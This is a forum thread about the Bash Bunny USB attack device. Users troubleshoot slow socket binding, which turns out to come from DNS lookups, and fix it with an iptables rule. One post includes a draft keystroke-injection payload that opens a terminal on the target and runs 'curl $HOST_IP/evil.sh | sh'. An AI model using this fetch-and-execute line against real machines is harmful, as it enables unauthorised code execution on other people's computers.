Jump to content

Slow at binding sockets


audibleblink
 Share

Recommended Posts

Has anyone else tried to bind a socket on their BB using something like netcat or python -m SimpleHTTPServer.

When connected to the BB through ssh (ecm_ethernet), commands that bind sockets take ~15 seconds to exectue

When connected through serial, everything acts as normal.

I made a github issue about it, but wasn't sure if that's the right place since that repo is for payloads - https://github.com/hak5/bashbunny-payloads/issues/57

Edited by audibleblink
Link to comment
Share on other sites

If I code something like this

 

LED R
python -m SimpleHTTPServer

QUACK GUI space
Q ENTER
Q STRING terminal
Q ENTER
Q STRING curl $HOST_IP/evil.sh \| sh

(with appropriate delays) it fails because the server takes 15 seconds to start anyway. I don't think it has anything to do with ssh.

I was just logged in through ssh to develop the payload

 

Link to comment
Share on other sites

I replied to your issue on github before I realized you had a thread here too. The server is up for me in under 1 second and I made a quick video capture. The only difference that comes to mind is that when I got ICS working on Mac I updated the installed packages on the BB.

Link to comment
Share on other sites

5 minutes ago, Torrey said:

I replied to your issue on github before I realized you had a thread here too. The server is up for me in under 1 second and I made a quick video capture. The only difference that comes to mind is that when I got ICS working on Mac I updated the installed packages on the BB.

Oh thanks man! I guess it's me then. I'm using linux. I can't think of a reason why I wouldn't see the delay in serial. Are you using ECM too? I think I'll try RNDIS just to see if anything changes.

edit: nope. same delay with rndis_ethernet

Edited by audibleblink
Link to comment
Share on other sites

2 minutes ago, audibleblink said:

Oh thanks man! I guess it's me then. I'm using linux. I can't think of a reason why I wouldn't see the delay in serial. Are you using ECM too? I think I'll try RNDIS just to see if anything changes.

Works fine for me (C, Python, and Go) via SSH, a payload, or serial. The bind is pretty much instantaneous. 

Link to comment
Share on other sites

Just a heads-up for anyone facing the same issue that missed the discussion on IRC:

When the Bash Bunny does not have an internet connection, binding to 0.0.0.0 will be slow as this will usually result in lookups expecting an internet connection. The 'fix' for this is simply binding to the Bash Bunny's IP address directly (172.16.64.1). That way, there is no delay in languages / frameworks that do the actual interface binding under the hood.

  • Upvote 1
Link to comment
Share on other sites

For future readers: I was using python's SimpleHTTPServer to try to serve the local directory. Even when binding the USB's network interface with $HOST_IP, it would still make that request and wait 15 seconds before continuing on. The answer for me was to disallow outgoing requests. This is the code that made the webserver start instantly.

iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80

 

Edited by audibleblink
  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...